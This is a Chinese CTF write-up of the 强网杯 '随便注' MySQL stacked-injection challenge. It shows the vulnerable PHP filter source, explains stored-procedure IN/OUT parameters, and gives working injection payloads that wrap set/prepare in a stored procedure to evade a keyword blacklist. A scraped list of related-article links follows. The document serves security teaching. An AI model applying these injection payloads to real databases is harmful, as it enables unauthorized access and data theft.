作者:Smity 合天智汇

去年的强网杯,出了一道mysql堆叠注入叫随便注,这道题被好多比赛玩了一整年,直到现在还是有各种新姿势,但是今天我忽然想到似乎没有对这个题目有一个很认真的分析,因此这里总结一下这个题目的出题用意和原本的预期做法:

堆叠注入

Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。代码中和一般查询不同的是,使用了multi_query函数

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

源码分析

<?php $inject = $_GET['inject'] ?? false;if ($inject) {$preg_match = 'return preg_match("/select|update|show|use|updatexml|extractvalue|exp|pow|char|delete|ascii|substr|sleep|if|strcmp|left|mid|concat|drop|insert|where|./i", $inject);';if (eval($preg_match)) {echo "您输入了敏感字符!";exit();}if(stristr($inject, "set") && stristr($inject, "prepare")){echo "请不要同时输入set和prepare";exit();}

当时的强网杯似乎在stristr这个函数上漏写了i导致大家用大小写绕过,但是没事这个不是重点(逃)

这里过滤了很多查询关键字,比如select,比如盲注用的函数,基本上是没有办法的,但是这里是堆叠注入,就给了我们以执行多条sql语句的机会。

很多同学自然就想到了set+prepare的预处理语句,但是这里规定了不能够同时输入set和prepaere,又被堵死了,但是mysql还有一个可以让语句分开执行且达到等同于一起执行的效果,这里介绍一下正解,mysql的存储过程。

存储过程

存储过程(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。

存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。

存储过程思想上很简单,就是数据库 SQL 语言层面的代码封装与重用。类比面向对象编程的类。说白了,存储过程就是具有名字的一段代码,用来完成一个特定的功能。

大家看下面这个很熟悉的例子,这个例子在网络上是教程范例,给大家熟悉一下。无非就是in和out。

create 存储过程,然后call调用。

鉴于很多人不太理解这个in和out的区别,我们再简单提一提。

in——传入参数(只索取,不给予)

调用者可以给"过程"一个值,但是过程不会把这个值返回给你。

比如:

mysql> delimiter $$mysql> set @p_in=1;mysql> create procedure in_param(in p_in int)    -> begin    ->   select p_in;    ->   set p_in=2;    ->    select p_in;    -> end$$mysql> delimiter ;mysql> call in_param(@p_in);+------+| p_in |+------+|    1 |+------+1 row in set (0.00 sec)#因为这里先set了p_in=1,所以存储过程里select p_in的值为1+------+| p_in |+------+|    2 |+------+1 row in set (0.00 sec)#然后set p_in=2,所以存储过程里第二个select p_in的值为2Query OK, 0 rows affected (0.00 sec)mysql> select @ p_in;+------+| p_in |+------+| NULL |+------+1 row in set (0.00 sec)#存储过程执行完,他不会把这个值调用者,调用者在过程外是不能够使用这个变化后的值的

in参数就是只能输入,不能够输出,执行完过程,in参数是不会改变的。

out——传出参数(不索取,只给予)

mysql> delimiter //mysql> create procedure out_param(out p_out int)    ->   begin    ->     select p_out;    ->     set p_out=2;    ->     select p_out;    ->   end    -> //mysql> delimiter ;mysql> set @p_out=1;Query OK, 0 rows affected (0.00 sec)mysql> call out_param(@p_out);+-------+| p_out |+-------+|  NULL |+-------+1 row in set (0.00 sec)+-------+| p_out |+-------+|     2 |+-------+1 row in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)

out这个参数刚好就是反过来,调用者无论怎么给参数赋初始值,"过程"里都是当作空值开始处理,然后将处理好的值返回给调用者。

分离预处理语句

好了说了这么多,我们还是要结合题目来看看,题目这里明显是要用预处理set 和 prepare来做,但是不能够同时输入。经过上面的讲解,我们可以想到,虽然set和prepare不能够同时输入,但是我只要把set给封装到一个"过程"中去,是不是就可以利用存储过程来代替set呢?

再理一遍大家很熟悉的set preare的注入poc怎么写:

114514';set @string = hex;prepare stmt from @string;EXECUTE stmt;#

这个地方的string就是我们要执行的sql语句的16进制表示,stmt则是预处理语句的别名。

然后我们把他分为两个部分:

set @string = hex;

prepare stmt from @string;EXECUTE stmt;

首先我们需要创建一个将set包含进去的存储过程,然后分析输入和输出参数: 1. in参数是sql注入语句的16进制,因为需要绕过敏感字符过滤,并且我们需要输入这个hex给过程拿去利用; 2. out参数则是我们的set里的@string——预处理语句,在"过程"中赋值好以后,拿出来给我们的prepare使用。

因此我们的poc可以这么写:下面的uuid代表php代码生成的随机数。 第一次输入存储过程的定义:

114514';    create procedure `{$uuid}`(out string text(1024), in hex text(1024))    BEGIN        SET string = hex;    END;    ;--

第二次用call调用这个存储过程(@decoded其实就是传参,传到上一个poc的string位置,为了和string区分开,就用了另一个名词):

114514';    call `{$uuid}`(@decoded, 0x{$sql});    prepare payload from @decoded;    execute payload;    ;--

之后就会正常的执行set+prepare的注入了。

总结

其实大家如果实在不清楚这个in和out,可以使用inout来代替,inout参数是既可以输入,又可以输出。

说白了存储过程就是sql语句里的函数,可以封装代码,所以比赛中如果遇到了不能一起使用的关键字,可以尝试着使用存储过程将其分割开。

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

获取mysql存储过程返回值_从强网杯随便注浅析mysql存储过程相关推荐

  1. mysql set语句_从强网杯随便注浅析mysql存储过程

    从强网杯随便注浅析mysql存储过程 Author: Smity 去年的强网杯,出了一道mysql堆叠注入叫随便注,这道题被好多比赛玩了一整年,直到现在还是有各种新姿势,但是今天我忽然想到似乎没有对这 ...

  2. dapper 调用 存储过程返回值_数据库事务、存储过程、函数以及触发器之间的区别和联系...

    一.[事务概念] 事务(Transaction)是指构成单一逻辑工作单元的操作集合,要么完整地执行,要么完全不执行. 1,如果事务中有的操作没有成功完成,则事务中的所有操作都需要被回滚,回到事务执行前 ...

  3. bat 存储过程返回值_为什么不推荐使用存储过程?

    之所以有这个题目,我既不是故意吸引眼球,也不想在本文对存储过程进行教科书般论述.最近项目中遇到的存储过程问题,让我想起了去年在武汉出差时一位同事的发问: 我觉得存储过程挺好用的,为什么你不建议用? 当 ...

  4. bat 存储过程返回值_使用Mybatis过程中遇到的坑

    常规SSM框架开发中,mybatis遇到的坑是最多的,把以下几点坑记录下来防止以后再遇到同样的情况. 1.mybatis 若果在mapper中返回值没有配置resultMap而是使用resultTyp ...

  5. mysql pool返回值_【Mysql】你知道一条查询语句是如何执行的吗?

    [Mysql]你知道一条查询语句是如何执行的吗?​mp.weixin.qq.com 前言 在默认大家学习了Mysql结构的基础上,我们来深入的解析一下sql语句在mysql中是如何流转和实现的.本文会 ...

  6. 如何获取.then的返回值_仅仅知道如何终止XHR请求,或许对你来说是不够的!

    TLDR: 当我们需要的时候,我们可以通过AbortController接口来终止一个或者多个请求. 前言 到目前为止,我们有两个常用的基本的手段去发送请求进而局部刷新页面内容,其一是XMR(XMLH ...

  7. dwr java有返回值但是js获取不到返回值_一探究竟:Java反射效率低的原因到底在哪?...

    预备知识 了解 Java 反射基本用法 看完本文可以达到什么程度 了解 Java 反射原理及 Java 反射效率低的原因 文章概览 我们在 Java 开发中,难免会接触到反射,而在一些框架中,反射的运 ...

  8. mysql insert返回值_各种SQL Insert 返回值

    declare v_id t.id%type; begin insert into t(id) values(seq.nextval) returning id into v_id; end; / d ...

  9. mysql executequery返回值_使用executequery数据库

    iOS数据库操作之FMDB SQLite一种轻量级关系数据库,在嵌入式系统中使用比较广泛. 在iOS中使用SQLite需要添加库libsqlite3.0.dylib,并引入头文件#import FMD ...

最新文章

  1. 信号 频率_信号的时间域分辨率和频率域分辨率
  2. 精彩回放 | 玩转 VS Code 物联网开发
  3. Thrift 个人实战--Thrift 网络服务模型
  4. 51nod1812树的双直径(换根树DP)
  5. 《Python自然语言处理》第二章 习题解答 练习6
  6. 【SpringMVC学习10】SpringMVC对RESTfull的支持
  7. composite-id class must implement Serializable
  8. 为什么登录Webmail邮箱提示网页端登录失效,需要重新登录【企业邮箱申请流程】
  9. PHP手册 2009国庆版
  10. 显示器分辨率一直跳_常见屏幕比例与显示器分辨率详解
  11. 视频中的声音如何处理,如何添加背景音乐?
  12. 博客内容导航——你想要的我都有!
  13. 使用约登指数寻找最佳ROC曲线阈值
  14. iPhone添加教育邮箱
  15. QQ,浏览器,还有这些版本?
  16. 粤教版小学认识计算机教案,三年级信息技术上册第1课认识计算机教案粤教版.doc...
  17. OpenCV实现远程视频监控与运动目标检测
  18. Android——SRT字幕文件的下载、解压、转换、显示
  19. mybatis-plus分页查询三种方法
  20. java中实现分页的常见几种方式

热门文章

  1. Tcpdump 超级详细的用法
  2. 深圳市房事与公积金相关疑问
  3. Linux 命令(8)—— rz 命令与 sz 命令
  4. 关于==和equals的探索
  5. Python 安装modules问题及import问题
  6. 【Python】【有趣的模块】【systimeos】
  7. Win10+Python+Django+Nginx+MySQL开发教程及实例(2)——Python连通操作MySQL
  8. rename table table1 to table2;
  9. codevs 1422 河城荷取
  10. Jmeter 常用断言使用